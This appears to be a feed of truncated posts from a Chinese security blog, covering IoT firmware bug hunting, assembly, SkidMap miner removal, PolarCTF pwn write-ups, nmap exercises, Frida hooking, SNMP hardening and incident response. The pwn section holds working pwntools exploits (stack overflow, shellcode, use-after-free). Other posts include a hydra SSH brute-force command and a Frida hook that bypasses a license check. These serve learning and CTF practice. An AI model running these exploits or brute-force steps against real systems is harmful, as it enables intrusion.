WELCOME TO VOXSHADOW BLOG ` - Linux
type: channel
link: https://www.52tt.pro/index.php/tag/Linux/
items: 【技术分享】IoT 安全 白盒视角下的漏洞挖掘
items: 【技术分享】NASM x86 Assembly Language
items: 【技术分享】Linux SkidMap 挖矿病毒处置
items: 【技术分享】2023年PolarCTF挑战赛Pwn篇
items: 【每日随记】快速搭建Docker容器环境
items: 【CTF解题】2023年网络安全B模块练习
items: 【技术分享】Frida Hook篇
items: 【技术分享】SNMP服务安全加固
items: 【每日随记】iptables 防火墙规则
items: 【技术分享】Centos 7 应急响应日志

【技术分享】IoT 安全 白盒视角下的漏洞挖掘
type: item
date: 2026-04-11T14:09:00+08:00
description: 留言记录一次 "低门槛" 路由器漏洞挖掘，流程简单清晰，就像在漏洞靶场里通关一样。本来不太想写，毕竟难度很低、含金量一般，水了几张证书，随手记录一下吧。浅谈 IoT 漏洞挖掘市面上家用路由器、智能摄像头、智能家居、工业小型设备基本都属于 IoT 物联网设备，这类设备普遍开发成本低、安全意识薄弱，代码写得比较随意，防护机制简陋，是漏洞高发重灾区。不同于互联网网站漏洞，IoT 挖洞大多围绕固件分析、二进制逆向、接口测试、设备仿真展开，门槛有高有低。入门玩法不用精通高深逆向，靠着固件解包、抓接口测试、简单 Fuzz 就能挖出大量未授权、命令执行、硬编码密码这类实用漏洞，上手快、出洞效率高，很适合新手练手攒成果。而且绝大多数老旧 IoT 设备几乎没有任何内存保护、权限校验形同虚设，很容易挖到栈溢出、权限绕过这类经典漏洞。日常挖掘既能熟悉嵌入式设备运行逻辑，也能轻松提交漏洞平台拿证书，当作技术积累再合适不过。寻找目标挖漏洞不难，难在找目标、搞到源码，前期核心都是信息收集。在开始分析之前，必须先确定目标，以下是推荐的搜集方式：1.在购物平台找网络设备，比如：路由器、摄像头，然后看品牌是哪个公司的。2.在 Github 上找资源搜 Iot 相关的资料或者项目，这是我比较推荐的一个项目 IoTFirmwareAnalysisGuide，记录了一些厂商链接跟相关技术文档。{abtn icon="fa-github" color="#000" href="https://github.com/SecureNexusLab/IoTFirmwareAnalysisGuide" radius="" content="IoTFirmwareAnalysisGuide"/} 3.看 CVE、CNVD、NCC 等漏洞库，搜 路由器、IoT、固件 关键词，找已公开漏洞的型号或公司。固件提取找到目标后，一般官网上都有路由器升级固件，如果没有就找台设备 升级固件 然后抓包下载。当然还有其他办法，可以看推荐的那个 IoTFirmwareAnalysisGuide 项目里有写。基本流程：下载固件 → binwalk 解包 → 逆向分析 → 定位漏洞 → 本地验证 → 互联网实测 → 提交报告 → 漏洞闭环。部分固件会加密，无法直接解包，可通过旧版固件逆向解密算法。或从设备中 dump 密钥与明文固件，也能在 GitHub 找解密脚本。binwalk -Me 固件文件 --run-as=root再提供个在线固件解包网站。{abtn icon="fa-bandcamp" color="#000" href="https://zhiwanyuzhou.com/multiple_analyse/firmware/" radius="" content="在线固件解包"/}固件加密怎么判断一个固件是否加密呢？binwalk -E 固件文件 --run-as=root这里用 腾达AX 系列路由器举例，binwalk -E 跑一下固件，熵值全程快接近 1.0，那这固件就是加密或者强压缩，直接解包肯定解不开。固件实在解不了密，不一定非要做白盒审计，黑盒测也完全够用。直接用万能的 Fuzz 对着接口一顿乱塞数据，也能挖出漏洞。互联网资产一般解包后，我做的第一件事，是先确定指纹，很简单解包里会有前端代码，我一般就搜 .html、.icon、.png 直接上传 Fofa 找 icon 图标的 hash，或者 body、title 关键字。有的设备在互联网压根就没资产，就纯内网使用，如果说想挖 CNVD/CNNVD/NCC 拿证书的话。找不到资产那就以漏洞情报的方式提交，不用找资产，只要本地复现 + 完整技术证明 审核通过就发证书。固件仿真我比较推荐使用 qemu、emux 这类工具。{abtn icon="fa-github" color="#000" href="https://github.com/therealsaumil/emux" radius="" content="EMUX"/} 目前能完整仿真起来的设备并不算多，完整固件仿真难度普遍较高，或者买个路由器挖（滑稽）很多情况下还需要修改程序逻辑、打补丁才能正常运行。最推荐方式：qemu 单个程序测试（这也是常见的IoT漏洞挖掘方式）EMUX 完整运行先把 EMUX 项目下载到本地，比较推荐用 Kali Linux 安装前需要确认 docker 是否能正常运行。git clone --depth 1 --single-branch https://github.com/therealsaumil/emux.git如果下载慢，可以自己挂代理，到 Github 上下载项目源码，然后解压执行以下命令。cd emux ./build-em…

【技术分享】NASM x86 Assembly Language
type: item
date: 2024-09-30T20:47:00+08:00
description: 留言复习x86汇编基础，首先为什么要学习汇编语言呢？在二进制程序逆向中是必不可少的，在二进制程序在没有源代码的情况下，只能进行反汇编逆向分析程序的执行流程。所谓 "学而不思则罔，思而不学则殆"，只有真正的理解了是如何运作的，才能更好的进行后面的分析。本教程使用 intel 语法来进行编写，编译器使用的是开源的 NASM，就你叫x86汇编呀，直接干就完了！简介本文章会简单的讲解下Windows下的x86汇编，内容比较简短都是示例，x86汇编语言编程也很混乱。因为有很多不同的汇编器：MASM、NASM、gas、as86、TASM、a86、Terse 等，导致语法都不相同。出于对 汇编语言发展 的兴趣，本教程不是为了教你汇编，让你大概学习下x86汇编基础语法方便为后期逆向做准备。当然感兴趣的可以自己研究，这里推荐几个好的教程网站: Linux 汇编语言教程Putting the "You" in CPU汇编器与链接器不管使用哪种汇编器、目标文件格式、链接器或操作系统，编程过程始终是相同的。Nasm 编译器安装Nasm win64 下载 - | - MinGW 下载 首先需要下载编译环境，Nasm 与 MinGW 下载好后解压出来，配置好环境变量方便终端进行调用。这里我推荐几个链接器：ld、alink、golink、gcc 各有秋色，我会演示他们的用法，前三者打包都是程序最小的状态，而 gcc 会使程序大小变大，因为它加了一些东西。NASM 汇编语法输出 Hello, World! - Windowsextern _printf ; 声明外部的 printf 函数 section .data msg db 'Hello, World!', 0 ; 定义字符串常量 section .text global _main ; 设置入口函数为 _main _main: push msg ; 将字符串地址推入栈中，作为参数传递给 printf call _printf ; 调用 printf 函数 add esp, 4 ; 清理栈上的参数 ret ; 函数返回随便创建一个文件，名称.asm 以.asm 后缀结尾，当然后缀什么的都不重要，汇编代码是对的一切都是 ok 的，通过以下代码在 Windows 进行生成再到链接最终生成可执行程序。/* ------ 参数说明 -f win32 指定 32位 生成目标文件 test.o -lmsvcrt 指定链接器需要 C运行库 要用到 printf ------ 编译命令 nasm -f win32 demo.asm -o test.o ld test.o -o test.exe -lmsvcrt */生成完毕后，可以发现程序大小只有 4kb 左右，非常小那是因为用汇编进行编写的，没有其他一些没用的函数打包进去。通过 IDA 打开生成的程序，发现只有 _main 和 _printf 函数，而且代码也是我们写的那一部分。通过 x64dbg 发现，运行直接到 OEP 时就能看到我们写的代码， 程序入口点是 401000 从这里开始到 40100D 结束（自己写的代码范围）。反汇编代码中 push 0x402000 是把内存地址存储的字符串压入到堆栈中，然后通过 call Printf 调用进行输出 Hello, World!。输出 Hello, World! - Linuxsection .data ; 定义一个名为 hello 的字符串，用 db 伪指令来定义 ; db 是 define bytes，用来指定一组字节 hello db 'Hello, World!', 0 ; 字符串用单引号或双引号括起来，末尾要添加一个零终止符 \0 section .text global _start ; 设置入口函数为 _start _start: ; 往标准输出 (stdout) 写入字符串 ; 用系统调用 write mov eax, 4 ; 系统调用号 4 (write) 存储到寄存器 eax mov ebx, 1 ; 描述符 1 (stdout) 存储到寄存器 ebx mov ecx, hello ; 字符串的地址存储到寄存器 ecx mov edx, 13 ; 把字符串的长度（以字节为单位）存储到寄存器 edx int 0x80 ; 系统调用 sys_write ; 退出程序 ; 用系统调用 exit mov eax, 1 ; 系统调用号 1 (exit) 存储到寄存器 eax xor ebx, ebx ; 寄存器 ebx 设置为 0，表示返回值为 0 int 0x80 ; 系统调用 sys_exit/* ------ 参数说明 -f elf32 指定32位生成目标文件main.o -m elf_i386 …

【技术分享】Linux SkidMap 挖矿病毒处置
type: item
date: 2023-12-28T10:00:00+08:00
description: 简介初步处理，待更新...工具分享这里分享个几个应急响应工具， 这里我用 toybox ，来查找恶意程序，再分享一个排查工具 GScan。我把 toybox 这个工具上传到 /usr/bin 文件夹里，方便任意位置调用，它和 busybox 功能一样，那为什么不用 busybox？因为被恶意程序禁用掉了。检查项{collapse}{collapse-item label="排查内容" close}/etc/passwd /var/spool/cron/* /etc/crontab /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/* /etc/cron.weekly/* /etc/anacrontab /var/spool/anacron/* /var/log/auth.log /var/log/syslog /var/log/messages /var/log/secure /var/log/audit/audit.log /var/log/boot.log /var/log/kern.log /var/log/httpd/ /var/log/mysql/ /var/log/dmesg /var/log/btmp /var/log/lastlog /var/log/wtmp /var/log/utmp{/collapse-item}{collapse-item label="排查命令" close}# 建议配合busybox或toybox来执行系统命令，避免文件被恶意程序劫持和替换。 top iftop ps -elf | grep <keyword> netstat -anop ss who -m awk -F: '($3==0)' /etc/passwd find / -name <keyword> cat ls{/collapse-item}{/collapse}查找异常tobybox top通过 toybox 定位到可疑进程占用大量CPU，重启后 gettexted 后缀会随机变化，它是挖矿的主程序。它有潜伏期现在是没挖矿状态，但后面跟着一堆可疑程序，通过计算哈希值提交给VT与微步，发现是有问题的。system.pubgettexted.psscn疑似多个命令文件被恶意程序给劫持，通过 ps、ls 发现并不能找到恶意程序，而用toybox来执行却能找到。review通过VT查找可以看到程序的可以行为，并编写了清除恶意程序的 bash 脚本。清除代码1#!/bin/bash processes=("gettexted.*" "postmaped.*" "matchpathcond.*" "postcated.*" "telinited.*" "devlinked.*") for process in "${processes[@]}"; do echo "$process" toybox pkill -f "$process" done # 清理文件 files=( "/etc/init.d/dns-udp4" "/etc/profile.d/gateway.sh" "/.mod" "/etc/.cfg" "/boot/system.pub" "/etc/profile.d/bash.cfg" "/lib/system.mark" "/usr/lib/libgdi.so.0.8.2" "/usr/sbin/netstat.cfg" "/etc/profile.d/bash.cfg.sh" ) cleanup_file() { local file="$1" toybox rm -rf "$file" toybox echo -n > "$file" toybox chmod 000 "$file" chattr +i "$file" } cleanup_files() { local files=("$@") for file in "${files[@]}"; do cleanup_file "$file" done } cleanup_files "${files[@]}" # 系统加固 toybox echo 32768 > /proc/sys/kernel/pid_max toybox echo 0 > /proc/sys/kernel/ns_last_pid toybox rm -rf /usr/bin/review toybox rm -rf /usr/bin/gettexted* toybox rm -rf /usr/bin/biosdecoded* toybox rm -rf /usr/bin/devlinked* …

【技术分享】2023年PolarCTF挑战赛Pwn篇
type: item
date: 2023-09-26T11:24:00+08:00
description: 小狗汪汪汪以下命令可以以首字母简写。checksec woof拿到题目先查下，有哪些地方被保护了，这里就 NX 开启了保护其他没什么。NX 就是程序的栈段不允许执行代码，用来防止栈溢出攻击中植入的 shellcode 执行。gdb woof这里就直接用 gdb 进行调试了，先导入程序分析下。info functions // 查看函数表查看有哪些函数，发现有一个很敏感的函数 getshell 因为这道题跟小狗有关，这里我也加上了dog，这两个函数可以都看看。break main // 断点main函数 run这里我就在 main 函数下个断点吧，让它先跑起来。next跑起来后就单步步过，按 n 键一直往下走，直到执行让我们输入的时候，这里我正常输入几个 a 然后回车，程序就会停下来。再查看堆栈，这里 esp 是栈顶，ebp是栈底，如何溢出呢？只要我们填充垃圾数据 a * 13 字节就能到函数返回，这个时候只要在溢出的返回点传入一个地址，那么就会执行。在使用 pwntools 模块 payload 的构造就是这样的 b'a' * 13 + p32(0x804859b)，因为程序是 32 位的所以 p32。cyclic 100实在不太懂怎么得出的 13 也可以用溢出的方式计算出地址的偏移量，这里我生成了100字节的垃圾数据，进行输入填充。cyclic -l 0x65616161好了，现在就可以用 python 进行编写 exp 了。from pwn import * local = True if local: io = remote('120.46.59.242', 2116) else: io = process('./woof') payload = b'a' * 13 + p32(0x804859b) io.sendline(payload) io.interactive()play这里就用 IDA 进行分析了。进入主函数可以发现这里调用了两个函数，init 和 play 。进入 init 可以发现只是做了初始化，没什么用直接看play函数。可以发现这里有个变量 var_30 它的大小是 30h 转换成 10进制那么就是 48，而 gets 用的变量正是 var_30 可以存储的大小也就是 48 个字节了。在 gets 上面还有一个 _read 函数，它的 buf 正好是 .bss 段，我们可以通过第一次输入 _read 写入 shellcode 第二次 gets 溢出到返回到 shellcode 执行。我们已经知道了是 48 然后程序是 64位的那么要 + 8， 48（缓冲区大小）+ 4（覆盖 rbp）+ 4（覆盖返回地址）。from pwn import * context(arch='amd64', os='linux') local = True if local: io = remote('120.46.59.242', 2072) else: io = process('./play') shellcode = asm(shellcraft.sh()) io.sendlineafter('playing.\n', shellcode) offset = 0x38 buf = 0x6010A0 payload = b'a' * offset + p64(buf) io.sendline(payload) io.interactive()首先通过，第一个函数 _read 写入 shellcode 到 .bss 段，然后通过 gets 溢出到返回执行 shellcode 最终得到交互。heap_Easy_Uaf通过 checksec 发现开了 Canary 和 NX 不慌先用 IDA 看看。main函数里主要有一个菜单输出，然后就是 switch 选择，可利用的函数是 Are 函数。发现一个关键的地方，那就是 system('/bin/sh'),它被一个判断给包裹住了，仔细观察 a = malloc 申请了一个空间，通过 strcpy 把 flag 字符串复制到申请的地址 a 中，然后 free 又释放掉了 a，指针 a 并没有被置为NULL，而下面又使用被释放的 a 那么就存在一个 uaf 漏洞。用 sendafter 模拟等出 Choice! 字符串就发送 5，就会执行 are 函数然后输入大小 0x68 十进制是 104，满足后再输入 Flag，就满足所有条件了。from pwn import * local = True if local: io = remote('120.46.59.242',2069) else: io = process('./heap_Easy_Uaf') io.sendafter(…

【每日随记】快速搭建Docker容器环境
type: item
date: 2023-06-06T13:46:00+08:00
description: 简介Docker是一种技术，它可以让你把你的应用程序和它所依赖的其他软件打包到一个叫做镜像的文件中，镜像文件可以在任何操作系统上运行，包括Linux和Windows。通过使用Docker，它可以让你的应用程序放入一个容器中，这个容器与其他容器隔离开来，互相之间不会干扰，就像是一个小型的虚拟机一样（与虚拟机相比它很轻量），也意味着可以轻松地在不同的环境之间移植应用程序，不用担心兼容性问题。安装步骤更新软件源（可选）sudo apt-get update && sudo apt-get upgrade配置国内源（可选）# 进入目录 cd /etc/docker # 新建daemon.json文件 vi daemon.json # 将以下代码写入： { "registry-mirrors": ["https://registry.docker-cn.com"] } # 重新加载 Docker 配置文件 sudo systemctl daemon-reload # 重启 Docker 服务 sudo systemctl restart docker安装Dockersudo apt-get install docker.io启动Docker# 启动 Docker sudo systemctl start docker # 设置自启动 sudo systemctl enable docker查看服务状态service --status-all | grep docker查看版本docker --version搜索镜像docker search dvwa拉取镜像docker pull vulnerables/web-dvwa # 下载dvwa靶机镜像端口映射docker run --rm -it -p 80:2050 vulnerables/web-dvwa # --rm：此参数告诉Docker在容器退出时删除容器，这对于不需要长期存在的临时容器非常有用。 # -it：这两个参数启用交互模式并分配一个伪TTY，使用户能够与容器的终端进行交互。 # -p 80:2050：此参数将容器的端口80映射到主机的端口2050，当你在主机上访问http://127.0.0.1:2050，请求将转发到容器内运行的Web服务器。拉取 Kali 镜像# 拉取 Kali Docker 镜像 docker pull kalilinux/kali-rolling # 运行 Kali Docker 容器并进入 shell 界面 docker run -it kalilinux/kali-rolling /bin/bash基本命令# 列出可用的镜像 docker images# 列出当前运行服务 docker ps # 停止当前服务 docker stop 5cda5257260c # 删除一个镜像 docker rmi [image ID 或名称] # 暴力删除 docker rmi -f [image ID 或名称] # 根据容器ID杀掉容器 docker kill [ID]

【CTF解题】2023年网络安全B模块练习
type: item
date: 2023-06-02T17:29:00+08:00
description: 简介这套题目没有对应的环境，但是命令是对的，那个位置和命令都是是正确的，答案就按照实际情况来写吧，我这里只是模拟环境做了一遍。任务一1.通过 BT5 对服务器场景 Linux 进行 TCP 同步扫描 (使用工具 Nmap，使用参数 n，使用必须要使用的参数)，并将该操作使用命令中必须要使用的参数作为 Flag 提交；（答案：sS）nmap -n -sS 192.168.20.1342.通过 BT5 对服务器场景 Linux 进行 TCP 同步扫描 (使用工具 Nmap，使用参数 n，使用必须要使用的参数)，并将该操作显示结果中从下往上数第 4 行的服务器信息作为 Flag 提交;（答案：873）# 这道题的答案：按实际情况来，就是往下数第4个。 nmap -n -sS 192.168.20.1343.通过 BT5 对服务器场景 Linux 不 ping 主机进行扫描（使用工具 Nmap，使用参数 n，使用必须要使用的参数），并将该操作使用命令中必须要使用的参数作为 Flag 提交;（答案：P0）nmap -P0 -n -sS 192.168.20.1344.通过 BT5 对服务器场景 Linux 不 ping 主机进行扫描（使用工具 Nmap，使用参数 n，使用必须要使用的参数），并将该操作显示结果中从下往上数第 10 行的“：”后的数字作为 Flag 提交；(答案：995)nmap -P0 -n -sS 192.168.20.1345.通过BT5对服务器场景Linux进行UDP扫描渗透测试只扫描53，111端口（使用工具Nmap，使用参数 n，使用必须要使用的参数），并将该操作显示结果中 111 端口的状态信息作为 Flag 提交;（答案：closed）nmap -sU -n -p 53, 111 192.168.20.1346.通过 BT5 对服务器场景 Linux 进行滑动窗口扫描渗透测试（使用工具 Nmap，使用必须要使用的参数），并将该操作使用命令中必须要使用的参数作为 Flag 提交；（答案：sW）nmap -sW -n 192.168.20.1347.通过 BT5 对服务器场景 Linux 进行 RPC 扫描扫描渗透测试（使用工具 Nmap，使用必须要使用的参数）,并将该操作使用命令中必须要使用的参数作为 Flag 提交；（答案：sR）nmap -n -sR 192.168.20.1348.通过 BT5 对服务器场景 Linux 进行 RPC 扫描扫描渗透测试（使用工具 Nmap，使用必须要使用的参数）,并将该操作显示结果中从下往上数第 7 行的服务信息作为 Flag 提交；（答案：http）nmap -n -sR 192.168.20.134总结参数说明-n禁止DNS反向解析-sSTCP扫描-sUUDP扫描-p指定端口-sWTCP端口扫描-sRRPC端口任务二1.通过 BT5 对服务器场景 Linux 进行秘密 FIN 扫描 (使用工具 Nmap，使用参数 n，使用必须要使用的参数)，并将该操作使用命令中必须要使用的参数作为 Flag 提交；（答案：sF）nmap -n -sF 192.168.20.1342.通过 BT5 对服务器场景 Linux 进行秘密 FIN 扫描 (使用工具 Nmap，使用参数 n，使用必须要使用的参数)，并将该操作显示结果中从下往上数第 7 行的端口信息作为 Flag 提交；（答案：80/tcp）# 端口没那么多，按实际情况来，往上数第7行就是了。 nmap -n -sF 192.168.20.1343.通过 BT5 对服务器场景 Linux 进行圣诞树（Xmas Tree）扫描（使用工具 Nmap，使用参数n，使用必须要使用的参数），并将该操作使用命令中必须要使用的参数作为 Flag 提交；（答案：sX）nmap -n -sX 192.168.20.1344.通过 BT5 对服务器场景 Linux 进行圣诞树（Xmas Tree）扫描（使用工具 Nmap，使用参数n，使用必须要使用的参数），并将该操作显示结果中从下往上数第 5 行的服务名称作为 Flag 提交；（答案：https）nmap -n -sX 192.168.20.1345.通过 BT5 对服务器场景 Linux 使用 SYN 包而不是用 ACK 包进行扫描渗透测试（使用工具Nmap，使用参数 n，使用必须要使用的参数），并将该操作使用命令中必须要使用的参数作为 Flag 提交；（答案：PS）nmap -n -PS 192.168.20.1346.通过 BT5 对服务器场景 Linux 使用 SYN 包而不是用 ACK 包进行扫描渗透测试（使用工具Nmap，使用必须要使用的参数），并将该操作显示结果中从下往上数第 8 行…

【技术分享】Frida Hook篇
type: item
date: 2023-04-25T10:37:00+08:00
description: 简介Frida是一款基于Python + JavaScript 的hook框架，本质是一种动态插桩技术。可以用于Android、Windows、iOS等各大平台，其执行脚本基于Python或者Node.js写成，而注入代码用JavaScript写成，所以有必要了解一些这些语言的语法。本文简单讲述Frida框架的使用。Windows修改函数返回#include <stdio.h> int license() { return 0; } int main() { if(license() == 1) { printf("%s", "你做到了~"); }else{ printf("%s", "你失败了！"); } return 0; }这里我用C语言编写一个简单的例子，尝试hook函数的返回值修改为 1。objdump -M intel -d Demo | grep call这里我用 objdump 进行过滤反汇编代码，我的习惯用全局过滤 call 看看都调用了哪些函数，因为有的编译是不显示函数名称的，也就无法判断其函数的用途。这里通过调用 license() 函数判断返回值，那么只要 hook 0x1139 这个地址的返回值，就能改变判断执行的流程。var moduleName = "demo"; var baseAddress = Module.findBaseAddress(moduleName); var absoluteAddress = baseAddress.add(0x1139); Interceptor.attach(absoluteAddress, { onLeave: function(retval) { retval.replace(1); console.log("\n"); } });frida -l code.js -f demo因为程序是一运行就执行，这里用这种办法来带动程序执行并进行hook。frida-tracefrida-trace -f demo -i "printf"可以利用 frida-trace 监听函数调用和获取参数等等一系列操作。WSASend Hook// 自适应旧数据大小 Interceptor.attach(Module.getExportByName('Ws2_32.dll', 'WSASend'), { onEnter: function (args) { var hexDataWithSpaces = "00 00 00 BD 00 14 00 02 "; function hexStringWithSpacesToBytes(hexStr) { var hexValues = hexStr.replace(/\s+/g, '').match(/.{1,2}/g); var bytes = []; for (var i = 0; i < hexValues.length; i++) { bytes.push("0x" + hexValues[i]); } return bytes; } var socket = args[0].toInt32(); var sockaddr_in = Memory.alloc(16); var sockaddr_in_size = Memory.alloc(4); Memory.writeU32(sockaddr_in_size, 16); var getpeername = Module.getExportByName('Ws2_32.dll', 'getpeername'); var result = new NativeFunction(getpeername, 'int', ['int', 'pointer', 'pointer'])(socket, sockaddr_in, sockaddr_in_size); if (result === 0) { var ip = Memory.readU32(sockaddr_in.add(4)); var ipStr = ((ip & 0xFF)) + '.' + ((ip >> 8) & 0xFF) + '.' + ((ip >> 16) & 0xFF) + '.' + ((ip >> 24) & 0xFF); console.log("[+] IP Address: " + ipStr); } else { console.log("[-] Failed to retrieve IP address"); } var lpBuffers = args[1]; var dwBufferCount = args[2].toInt32(); for (var i = 0; i < dwBu…

【技术分享】SNMP服务安全加固
type: item
date: 2022-10-17T16:51:00+08:00
description: 简介SNMP（Simple Network Management Protocol），即简单网络管理协议，是一种用于网络设备管理的应用层协议。它允许网络管理员监视、配置和控制网络中的设备，以确保网络的正常运行和性能优化。nmap -p161 -sU 192.168.1.6扫描下 snmp 这个服务，发现是打开的。nmap -sU -p161 --script=snmp-netstat 192.168.1.6 //获取网络端口状态 nmap -sU -p161 --script=snmp-sysdescr 192.168.1.6 //获取系统信息 nmap -sU -p161 --script=snmp-win32-user 192.168.1.6 //获取用户信息输入 netstat 来获取网络端口，发现存在弱口令问题。Windows 加固进入到服务里找到 "SNMP Service"，进行更改社区名称默认 "public" 改的复杂点就行。修改后就生效了，扫描发现已经没有了，不放心可以重启下服务。nmap -sU -p161 -script=snmp-netstat 192.168.1.6

【每日随记】iptables 防火墙规则
type: item
date: 2022-10-17T10:38:00+08:00
description: 简介iptables主要功能是实现对网络数据包进出设备及转发的控制。当数据包需要进入设备、从设备中流出或者经该设备转发、路由时，都可以使用iptables进行控制。应用软件处理逻辑运行于通用硬件平台之上的防火墙，性能比硬件防火墙低。详解Kali有三个处理动作（INPUT、OUTPUT、FORWARD）。INPUT 数据包进入FORWARD 转发关卡OUTPUT 数据包出口参数L, --list [chain]：列出规则；-v, --verbose：详细信息；-vv， -vvv 更加详细的信息-n, --numeric：数字格式显示主机地址和端口号；-x, --exact：显示计数器的精确值；--line-numbers：列出规则时，显示其在链上的相应的编号；-S, --list-rules [chain]：显示指定链的所有规则；-N, --new-chain chain：新建一个自定义的规则链；-X, --delete-chain [chain]：删除用户自定义的引用计数为0的空链；-F, --flush [chain]：清空指定的规则链上的规则；-E, --rename-chain old-chain new-chain：重命名链；-Z, --zero [chain [rulenum]]：置零计数器；-P, --policy chain target， 设置链路的默认策略-A, --append chain rule-specification：追加新规则于指定链的尾部；-I, --insert chain [rulenum] rule-specification：插入新规则于指定链的指定位置，默认为首部；-R, --replace chain rulenum rule-specification：替换指定的规则为新的规则；-D, --delete chain rulenum：根据规则编号删除规则；// 查看启动状态 service iptables status // 停止iptables service iptables stop // 重启iptables(重启其实就是先stop再start) service iptables restart // 重载就是重新加载配置的规则，在这里貌似跟重启一样 service iptables reload// 直接拒绝icmp 的请求包 iptables -A INPUT -p icmp --icmp-type echo-request -j REJECT // 直接丢弃 icmp 的请求包 iptables -A INPUT -p icmp --icmp-type echo-request -j DROP // 禁止主机的ping功能 iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP // 防止nmap端口扫描 iptables -t filter -I INPUT -s 192.168.112.130 -p tcp -m tcp --dport 22 --tcp-flags ALL SYN -j REJECT // 删除iptables中的记录 iptables -t filter -D INPUT 0保存规则自启动iptables-save > /etc/iptables/rules.v4sudo apt-get update sudo apt-get install iptables-persistent // 安装默认 yes 即可 sudo netfilter-persistent save // 如有新增加规则，执行保存系统启动时自动应用规则，安装 iptables-persistent。

【技术分享】Centos 7 应急响应日志
type: item
date: 2022-10-03T23:00:00+08:00
description: ssh爆破登录首先准备一下要爆破的目标，这里就用centos进行演示，以上是安装ssh服务的过程。hydra -l root -P pass.txt 192.168.213.135 ssh这里爆破下ssh协议目标用户是root，密码就用自己写的字典进行爆破，只是做个演示。系统日志grep "password for root" secure最终我们在检查日志后发现，通过ssh登录的root用户已被进行了密码爆破攻击，要查哪个用户过滤规则就该下比如：passowrd for shadow。web日志...